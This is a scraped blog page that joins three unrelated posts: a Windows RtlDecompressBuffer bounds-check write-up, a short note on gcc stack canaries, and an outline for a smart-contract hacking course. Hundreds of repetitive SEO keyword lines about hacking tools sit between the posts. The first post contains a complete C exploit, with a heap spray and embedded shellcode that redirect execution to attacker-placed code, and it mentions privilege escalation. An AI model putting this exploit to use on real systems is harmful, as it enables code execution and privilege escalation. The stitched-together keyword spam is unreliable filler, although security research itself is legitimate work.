Note :

Note :

Wednesday, May 31, 2023

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

 
 
 
int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); } 

The attack vector
 
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

More articles


  1. Pentest Tools For Android
  2. Hacking Tools Software
  3. Hak5 Tools
  4. Hacking Tools For Mac
  5. Hacking Tools For Windows 7
  6. Hackrf Tools
  7. Pentest Tools Nmap
  8. Top Pentest Tools
  9. Hacker Tools For Mac
  10. Pentest Tools Open Source
  11. Pentest Tools Apk
  12. Hacking Tools Mac
  13. Best Hacking Tools 2019
  14. Pentest Tools Android
  15. Easy Hack Tools
  16. Pentest Tools For Windows
  17. Hacking Tools For Kali Linux
  18. Pentest Tools Nmap
  19. Pentest Tools Open Source
  20. Pentest Tools Open Source
  21. Hacking Tools And Software
  22. Usb Pentest Tools
  23. Hacking Tools Mac
  24. Hacker Tools 2020
  25. Hack Tool Apk
  26. Underground Hacker Sites
  27. Hacker Hardware Tools
  28. Hacking Tools 2019
  29. What Is Hacking Tools
  30. Pentest Tools Website Vulnerability
  31. Nsa Hacker Tools
  32. Hack App
  33. New Hack Tools
  34. How To Install Pentest Tools In Ubuntu
  35. How To Make Hacking Tools
  36. Blackhat Hacker Tools
  37. Hacker Tools Apk Download
  38. Hacker Tools For Mac
  39. Hacker Tools Windows
  40. Underground Hacker Sites
  41. Hacking Tools Free Download
  42. Pentest Tools Download
  43. Hacker Tools List
  44. Hack Tools For Ubuntu
  45. Hacking Tools Free Download
  46. Hacker Tools Online
  47. Hacking Tools Windows
  48. Hacking Tools Usb
  49. Hacking Tools Windows 10
  50. Hacking Tools Download
  51. Easy Hack Tools
  52. Hacker Tools 2019
  53. Hacking Tools For Windows 7
  54. Pentest Tools Free
  55. Hacking Tools For Windows
  56. Pentest Tools For Android
  57. Hacking Tools Pc
  58. New Hacker Tools
  59. Hak5 Tools
  60. Hacking Tools For Beginners
  61. Hack Tools For Mac
  62. Pentest Reporting Tools
  63. Pentest Tools Bluekeep
  64. Pentest Tools Bluekeep
  65. Install Pentest Tools Ubuntu
  66. Hack Tools For Mac
  67. Hacks And Tools
  68. Hacker Tools Github
  69. Hacker Tools For Windows
  70. Pentest Tools Github
  71. Pentest Tools Free
  72. Hacking Apps
  73. Hack Apps
  74. Hack Tools Pc
  75. Pentest Box Tools Download
  76. Hacking Tools Windows
  77. Usb Pentest Tools
  78. Hackers Toolbox
  79. Hacking Tools For Beginners
  80. Hack Tools Download
  81. What Is Hacking Tools
  82. Free Pentest Tools For Windows
  83. Pentest Tools Website
  84. Game Hacking
  85. Hacker Search Tools
  86. Pentest Reporting Tools
  87. Hack Tools
  88. Hacker Tool Kit
  89. Hacking Tools For Kali Linux
  90. Hacker Tools List
  91. Hacker Tools 2020
  92. Growth Hacker Tools
  93. Pentest Automation Tools
  94. Hacker
  95. Wifi Hacker Tools For Windows
  96. Hackrf Tools
  97. Pentest Tools For Android
  98. Hacker Tool Kit
  99. Hack Tools
  100. Pentest Box Tools Download
  101. Tools For Hacker
  102. Hacking Tools Online
  103. Hacker Tools List
  104. Game Hacking
  105. Hacker Tools Mac
  106. Hacker Tools Apk Download
  107. Hack Tools Mac
  108. Tools For Hacker
  109. Pentest Box Tools Download
  110. Hacking Tools 2019
  111. Hacker Tools For Pc
  112. Pentest Tools Windows
  113. Pentest Tools Alternative
  114. Tools 4 Hack
  115. Hacker Tools Free Download
  116. Hacking Tools For Windows
  117. Hack Website Online Tool
  118. Hacking Tools Github
  119. Hacker
  120. Hacking Tools For Beginners
  121. Termux Hacking Tools 2019
  122. Best Pentesting Tools 2018
  123. Hack Tools
  124. Black Hat Hacker Tools
  125. Free Pentest Tools For Windows
  126. Hacking Tools Kit
  127. Hacker Tools Online
  128. Pentest Tools Android
  129. Free Pentest Tools For Windows
  130. Pentest Tools Download
  131. Hacker Search Tools
  132. Bluetooth Hacking Tools Kali
  133. Hack App
  134. Termux Hacking Tools 2019
  135. Pentest Tools Apk
  136. Pentest Tools Bluekeep
  137. Best Hacking Tools 2020
  138. Top Pentest Tools
  139. Free Pentest Tools For Windows
  140. Pentest Tools Find Subdomains
  141. Hacker Tools Free Download
  142. Hack Tools Mac
  143. Hacker Tools Free
  144. Hacker Tools Apk
  145. New Hacker Tools
  146. Black Hat Hacker Tools
  147. World No 1 Hacker Software
  148. Hack Tools Download
  149. Hack And Tools
  150. Termux Hacking Tools 2019
  151. Hacker Tools Free Download
  152. Hacking Tools And Software
  153. Hack Tools Download
  154. Hacking Tools For Mac
  155. Android Hack Tools Github
  156. Pentest Tools For Ubuntu
  157. Hacker Search Tools
  158. How To Hack
  159. Hacker Tools List
  160. Hack Tool Apk No Root
  161. Best Pentesting Tools 2018
  162. Pentest Tools Website
  163. Hack Tools Online
  164. Pentest Tools Framework
  165. Pentest Tools Windows

Linux Stack Protection By Default

Modern gcc compiler (v9.2.0) protects the stack by default and you will notice it because instead of SIGSEGV on stack overflow you will get a SIGABRT, but it also generates coredumps.




In this case the compiler adds the variable local_10. This variable helds a canary value that is checked at the end of the function.
The memset overflows the four bytes stack variable and modifies the canary value.



The 64bits canary 0x5429851ebaf95800 can't be predicted, but in specific situations is not re-generated and can be bruteforced or in other situations can be leaked from memory for example using a format string vulnerability or an arbitrary read wihout overflowing the stack.

If the canary doesn't match, the libc function __stack_chck_fail is called and terminates the prorgam with a SIGABORT which generates a coredump, in the case of archlinux managed by systemd and are stored on "/var/lib/systemd/coredump/"


❯❯❯ ./test 
*** stack smashing detected ***: terminated
fish: './test' terminated by signal SIGABRT (Abort)

❯❯❯ sudo lz4 -d core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000.lz4
[sudo] password for xxxx: 
Decoding file core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 
core.test.1000.c611b : decoded 249856 bytes 

 ❯❯❯ sudo gdb /home/xxxx/test core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 -q 


We specify the binary and the core file as a gdb parameters. We can see only one LWP (light weight process) or linux thread, so in this case is quicker to check. First of all lets see the back trace, because in this case the execution don't terminate in the segfaulted return.




We can see on frame 5 the address were it would had returned to main if it wouldn't aborted.



Happy Idea: we can use this stack canary aborts to detect stack overflows. In Debian with prevous versions it will be exploitable depending on the compilation flags used.
And note that the canary is located as the last variable in the stack so the previous variables can be overwritten without problems.




Related word
  1. Hack Rom Tools
  2. Hack Tools For Mac
  3. Hack And Tools
  4. Pentest Tools Kali Linux
  5. Hackers Toolbox
  6. Hack Tools Pc
  7. Pentest Tools Android
  8. Hak5 Tools
  9. Pentest Tools Linux
  10. Hack Tools
  11. Hack App
  12. Pentest Tools Kali Linux
  13. Free Pentest Tools For Windows
  14. Hacker Tools For Mac
  15. Hacker Tools Hardware
  16. Physical Pentest Tools
  17. Black Hat Hacker Tools
  18. Wifi Hacker Tools For Windows
  19. Hacker Tool Kit
  20. Hacking Tools For Pc
  21. Pentest Tools Open Source
  22. Hacker Tools 2020
  23. Pentest Automation Tools
  24. Hack Tools For Ubuntu
  25. Hacking Tools Online
  26. Nsa Hack Tools Download
  27. Hacker Tools Windows
  28. Hacker Tools 2019
  29. Install Pentest Tools Ubuntu
  30. Hacking Tools 2020
  31. Pentest Tools Website
  32. Free Pentest Tools For Windows
  33. New Hacker Tools
  34. Pentest Tools Github
  35. Pentest Tools Alternative
  36. Hacking Apps
  37. Hacker Tools Apk Download
  38. Hacking Tools
  39. Hacker Tools For Ios
  40. Hacker Security Tools
  41. Hacker Tools
  42. Hacking Tools For Windows
  43. Hacker Tools Free Download
  44. Best Hacking Tools 2020
  45. Hack Tool Apk
  46. Pentest Tools Bluekeep
  47. Hacker Tools List
  48. Hacking Tools For Mac
  49. Pentest Tools Tcp Port Scanner
  50. Hacking Tools For Windows 7
  51. Hack Tools Pc
  52. Pentest Tools Review
  53. Hacking Tools For Mac
  54. Pentest Tools
  55. Nsa Hack Tools
  56. Pentest Recon Tools
  57. Hacking Tools For Kali Linux
  58. Hacker Tools Linux
  59. Hacking Tools Github
  60. Hack App
  61. Hacker Techniques Tools And Incident Handling
  62. Hacker Tools List
  63. Pentest Tools Nmap
  64. Hacker Tools Apk Download
  65. Pentest Tools Apk
  66. Hacking Tools Name
  67. Hacking Tools For Mac
  68. Best Pentesting Tools 2018
  69. Hack Tools For Windows
  70. Pentest Tools Port Scanner
  71. Hacker Search Tools
  72. Hacker Security Tools
  73. Hacker
  74. Hacking Tools 2019
  75. Hack App
  76. Pentest Tools Find Subdomains
  77. Hacker Tools Apk
  78. World No 1 Hacker Software
  79. Hack And Tools
  80. Pentest Tools Free
  81. Bluetooth Hacking Tools Kali
  82. World No 1 Hacker Software
  83. Pentest Tools Open Source
  84. Hacker Tools Apk Download
  85. Hacker Tools Apk
  86. Hack Tools Mac
  87. Pentest Tools Free
  88. Hacker Tools Software
  89. Best Hacking Tools 2020
  90. Underground Hacker Sites
  91. Underground Hacker Sites
  92. Hacking Tools Mac
  93. Tools Used For Hacking
  94. New Hacker Tools
  95. Pentest Tools Bluekeep
  96. Hacker Tools Windows
  97. Top Pentest Tools
  98. Hacking Tools Pc
  99. Top Pentest Tools
  100. Pentest Reporting Tools
  101. Hack Tools Download
  102. Hack Tools Pc
  103. Hacking Apps
  104. Pentest Box Tools Download
  105. Bluetooth Hacking Tools Kali
  106. Hack Tools
  107. How To Make Hacking Tools
  108. Hacking Tools Software
  109. Top Pentest Tools
  110. Pentest Tools Website
  111. Pentest Automation Tools
  112. Hacker Tools For Pc
  113. Hack Tool Apk No Root
  114. How To Hack
  115. Pentest Tools Download
  116. Install Pentest Tools Ubuntu
  117. Pentest Tools Kali Linux
  118. Pentest Tools Linux
  119. Computer Hacker
  120. Hacking Tools Online
  121. Pentest Tools For Windows
  122. Hacker Tools Software
  123. Hacker Tools For Mac
  124. Hacking Tools 2019
  125. Hacker Tools Free
  126. Pentest Tools Url Fuzzer
  127. Hacking Tools Github
  128. Hack And Tools
  129. Pentest Tools List
  130. Best Hacking Tools 2020
  131. Easy Hack Tools
  132. Hacking Tools Windows
  133. How To Install Pentest Tools In Ubuntu
  134. Hacking Tools Kit
  135. Hacking Tools For Beginners
  136. Hack Tools For Games
  137. Hacker Tools Github
  138. Hacking Tools 2019
  139. Game Hacking
  140. Hacking Tools
  141. Hacking Tools For Kali Linux
  142. Pentest Box Tools Download
  143. Hacking Apps
  144. Hack Tools For Pc
  145. Hacking Tools Pc
  146. Hack Tools Pc
  147. Hack Apps
  148. Pentest Tools Find Subdomains
  149. Hacking Tools For Beginners
  150. Pentest Tools Bluekeep
  151. Pentest Tools Subdomain
  152. Hacking Tools Hardware
  153. Hacking Tools Download
  154. Hacker Tools For Pc
  155. Pentest Box Tools Download
  156. Hacking Tools Usb
  157. Hacker Tools Github
  158. Hacking Tools Download
  159. Easy Hack Tools

Blockchain Decentralized Application Hacking Course - A Journey Into Smart Contract Hacking And DApp Penetration Testing (Web 3.0)


Smart Contract Exploitation and Hacking Course Announcement


What Is this: 

For those who have been hitting me up on twitter and YouTube for more blockchain smart contract exploitation content this blog is for you. I have posted a video below explaining what this is and included a course outline of the content we are providing free for everyone. I was actually told recently that I am crazy for giving out this level of detailed content and training for free.. However, I believe in the original hacker ethic code from long ago, that information should be freely available for everyone!! In this frame of mind, the only pay for content will be if you wish to go the extra mile. For the person who wants to prove to themselves or others that they learned something via a certification package with detailed exam prep targets and guides, followed by a final exam CTF and reporting write-up. 

So I hope you enjoy this content. The content and walk through labs will be all free. This content will be posted regularly over the next few months 90% of it is already written and ready to go.

We will start off with the differences between Solidity and other languages and do a quick coding overview before we start hacking. This way everyone is on the same page when we start looking at coding examples of vulnerable targets or reviewing case study code. Then we will cover a wide range of typical issues that effect decentralized applications(DApps) and smart contracts on the Ethereum blockchain. How to spot them and exploit them with full walk-through style learning. Subjects we have already released (Re-Entrancy, Integer Attacks, Authorization) have been updated with new code, new examples, and case studies etc. Some of the learning content will be the same but with a lot of newly added content.  And in the case of Authorization completely re-written and expanded on. 

Basically this course was created to get the information out there in a clear concise way. Because when I started researching blockchain hacking all I found was a paragraph here and there on something that was overly technical or completely theoretical. I couldn't find any clear concise learning or examples. This drove me nuts trying to figure everything out, until I gave up and just coded my own vulnerabilities and hacked them. So hopefully this fills the knowledge gap to offer a clear and concise, Zero Fluff resource to those on the same path. 


CTF Exam: 

If you do enjoy this series over the next few months and want to challenge your skills and certify that you learned something we will be also offering pay for certification bundle that includes Decentralized Application (DApp) targets and detailed lab guides as preparation for a final exam against a more comprehensive CTF certification challenge target. More info on this as the months progress. 


Bug Bounty of Sorts: 

These labs are completed but we are working on a way to deliver the content which requires me to code up a course delivery software. So feel free to hack the course delivery software once its up, if you break in or bypass authorizations I will give you the full course for free provided you help me fix it. :P 


Pre- Requisites: 

This is more of a intermediate / advanced course with a white box code approach to bug hunting and a dynamic approach to application hacking and exploiting targets, with that said you will need the following pre-requisites: 

  • Ability to code in some language and understanding of coding concepts. 
  • Application hacking or development background with firm understanding of vulnerabilities


Contact Info:

As this is free, I only ask that you provide constructive feedback as we are creating other more advanced hacking courses on random subjects we are interested in. Most of which will be free.  And feedback helps us not do things which are not useful and integrate new ideas where they make sense.

Cheers and I hope this finds you well.

Twitter: 

Email: 

  • info@cclabs.io

WebPage:  


Course Outline / Release Order: 

Orange = = Whats included additionally for the full course

Blue = = What will be released free in blogs / videos 

(Mostly every Mondays) over the next few months


Building and Scoping Things

    Chapter 1: Cliff Notes on Blockchain

        Intro:

        What is a Blockchain and how is it secured

        Smart Contracts

        What is a Decentralized Application (DApp)?

        Diving into Blockchain Components:

        Distributed Vs Decentralized

        Provenance Use Case:

        Consensus and Mining:

            Hands on Lab - Blockchain Consensus walkthrough Lab

        Summary:

        References:


    Chapter 2: Threat Modeling and Scoping Engagements

        Architecture Considerations:

        Business Logic Locations and Technology Decisions

        Development Environments

        Threat Modeling

        Summary

        References:


    Chapter 3 – Solidity for Penetration Testers Part 1 (Hello World)

        About Solidity

            Hands on Lab - Remix interface overview

        Structure of a Smart Contract

            Hands on Lab – HelloWorld

        Summary

        References:


    Chapter 4 – Solidity for Penetration Testers Part 2

        Beyond Hello World

            Hands on Lab – Code HelloWorld bank

        Code Level Walk Through of HelloWorld Bank

        Checks Effects Interactions:

        Summary


Part 2: Hacking and Exploiting Things

    Chapter 5 - Glass Half Full or Glass Half Empty: Integer Attacks

        Underflows and Overflows

        Withdraw Function Vulnerable to an underflow

        Transfer Function Vulnerable to a Batch Overflow

        Batch Overflow Code Explanation:

            ERC20 Batch Overflow Case-Study

            Walkthrough of The Vulnerable Function

            Reviewing the Real Attack Transaction

            Hands on Lab - Exploiting Our Own ERC20 Batch Overflow

            Hands on Lab - Fixing the ERC20 Overflow

            Exam Prep - DApp Target + Detailed Lab Guide

            Hands on Lab -Safe Math Walk Through

        Integer Attacks Summary

        Integer Attacks References

          

    Chapter 6 - You Again: Leveraging Reentrancy Attacks

        Reentrancy Intro

        Checks Effects Interactions Pattern

        Simple Reentrancy Example Code

        Passing the Checks:

        Looping the Interaction:

        Updating the Effects:

        Attacking Code Example:

            Hands on Lab - Attacking a Simple Reentrancy

            Hands on Lab - Fixing the Checks Effects interaction Pattern

        Send vs Transfer Vs Call.Value

            Case Study – The Dao Hack

            Exam Prep - DApp Target + Detailed Lab Guide

        Reentrancy Summary

        Reentrancy References


    Chapter 7 Do You Have a Hall Pass: Access Control Attacks

        Understanding Smart Contract Authorization and Visibility

        Visibility:

        Simple Visibility Example:

        Implementing Authorization:

        Example Walk-through of No Authorization

        Thinking about Smart Contracts as unpublished API's for DApps

            Case of the Video Game Heist

        Enumerating functions in a contract

            Hands on Lab - Directly Calling Public Functions with Web3

            Hands on Lab - Example Fix with Simple Authorization

        Exit Scam Warning

            Hands on Lab - Example Fix-2 Using Modifiers for Simple Authentication

            Hands on Lab - Example Using Openzeppelin for Role Based Access Control

            Exam Prep - DApp Target + Detailed Lab Guide

        Authorization Summary:

        Authorization References


    Chapter 8 - Dude Where's My Data: Storage Vs Memory Attacks

       Intro - Not Written Yet – Up Next

       Code Example -  Not Written Yet – Up Next

       Case study? - Not Written Yet – Up Next

       Exploiting vulnerability -  Not Written Yet – Up Next

       Summary -  Not Written Yet – Up Next

       References -  Not Written Yet – Up Next


    Chapter 9 - Do I know you:  TxOrigin vs Message.sender Attacks

        What's the difference?

        Man In the Middle Via tx.origin

            Hands on Lab -  Simple tx.origin Example Walkthrough

            Hands on Lab -  Vulnerable TX.Origin Example Walkthrough

            Exam Prep - DApp Target + Detailed Lab Guide

        Action steps to familiarize yourself with the contract:

        Attack Options:

        Summary

        References


    Chapter 10 - Who Am I: Delegate Call Attacks

        How delegate calls work:

        Delegate Call vs Call

        Simple Delegate Call Example Code

        Simple Delegate Code Example Walkthrough

            Hands on Lab - Simple Delegate Example Walkthrough

        Variable Memory Issues with Delegate Calls

        DelegateCall Storage Simple Example Code

            Hands on Lab - DelegateCall Storage Walkthrough

            Exam Prep - DApp Target + Detailed Lab Guide

        Case Study - Parity Wallet Attack:

        Attack Transactions Explained

        Dangerous fallback function using delegatecall

        The Parity Wallet Code

        Delegate Chapter Summary

        Delegate References:


    Chapter 11 - Look into My Crystal Ball: Bad Randomness Issues

        Cryptographic Implementations and Predictable PRNGs

        Simple BlockHash Example

            Hands on Lab - BlockHash Vulnerability Walk and Talk

            Exam Prep - DApp Target + Detailed Lab Guide

        Preventing Randomness Issues

        Bad Randomness Summary

        Bad Randomness References


    Chapter 12 - Automated Static Application Security Testing

        Content - Not written - Up Next 

            Hands On Lab - Not written - Up Next 

        Summary Not written - Up Next 

        References - Not written - Up Next 


Chapter 13 - CTF Exam

        Final Exam and CTF Certification Exam Target 

        Final Exam Reporting


Appendices

    Appendix I – Pre-Requisite Suggestions:

        Programming Pre-Requisites:

        Web Application Hacking Pre-Requisites:

    Appendix II – Other Blockchain Learning Resources and Certifications

    Appendix III – Non-Exhaustive Scoping Questions

    Appendix IV – Non-Exhaustive List of things to check for



More info

  1. Hacker Tools Linux
  2. Hack Tools
  3. Hacker Tools 2020
  4. Kik Hack Tools
  5. Hack Tools Github
  6. Usb Pentest Tools
  7. Hacking Tools For Beginners
  8. Hack Tools
  9. Hacking Tools For Games
  10. Hacker Hardware Tools
  11. Hacking Apps
  12. Hacker Tools Free
  13. Pentest Tools Free
  14. Hak5 Tools
  15. Hacker Hardware Tools
  16. Nsa Hack Tools
  17. Pentest Tools Url Fuzzer
  18. Pentest Tools Alternative
  19. Hacks And Tools
  20. Hacker Tools For Windows
  21. Hacker Tools Online
  22. Hacker Tools List
  23. Pentest Tools Linux
  24. Pentest Tools
  25. Growth Hacker Tools
  26. Nsa Hacker Tools
  27. Hack Website Online Tool
  28. Hacker Tools Apk
  29. Hacks And Tools
  30. Hacking Tools And Software
  31. Hacking Tools For Mac
  32. Hacker Tools For Windows
  33. Wifi Hacker Tools For Windows
  34. Tools 4 Hack
  35. Pentest Tools Review
  36. Pentest Tools Linux
  37. Pentest Tools For Mac
  38. Hackrf Tools
  39. Pentest Tools Online
  40. Hacker Tools For Mac
  41. Beginner Hacker Tools
  42. Hack Tools
  43. Hacking Tools Download
  44. Hacker Tools Windows
  45. Hack Tools
  46. Hacking Tools Mac
  47. Pentest Tools For Android
  48. Hackrf Tools
  49. Blackhat Hacker Tools
  50. Blackhat Hacker Tools
  51. Hacker Tools Apk
  52. Pentest Box Tools Download
  53. Github Hacking Tools
  54. Hacker Techniques Tools And Incident Handling
  55. Hack Tools
  56. How To Hack
  57. Easy Hack Tools
  58. New Hack Tools
  59. What Are Hacking Tools
  60. Hacks And Tools
  61. Hacking Tools Github
  62. Hack Tools Mac
  63. Hack Tools Github
  64. Termux Hacking Tools 2019
  65. Android Hack Tools Github
  66. Hack Tools For Pc
  67. Hacking Tools For Windows
  68. Hacks And Tools
  69. Game Hacking
  70. Hacking Tools Download
  71. Hacker Tools Software
  72. Pentest Tools Online
  73. Hacker Tools Free Download
  74. Underground Hacker Sites
  75. Pentest Tools Apk
  76. Nsa Hack Tools Download
  77. Pentest Tools Website
  78. Hacker Tools List
  79. Pentest Tools Windows
  80. Pentest Tools For Android
  81. Computer Hacker
  82. Pentest Reporting Tools
  83. Pentest Tools Free
  84. Hack Tools Github
  85. Physical Pentest Tools
  86. Hacking Tools Free Download
  87. Hack Tools Github
  88. Hack Tools Github
  89. Pentest Tools Alternative
  90. Hacking Tools For Pc
  91. Pentest Tools Github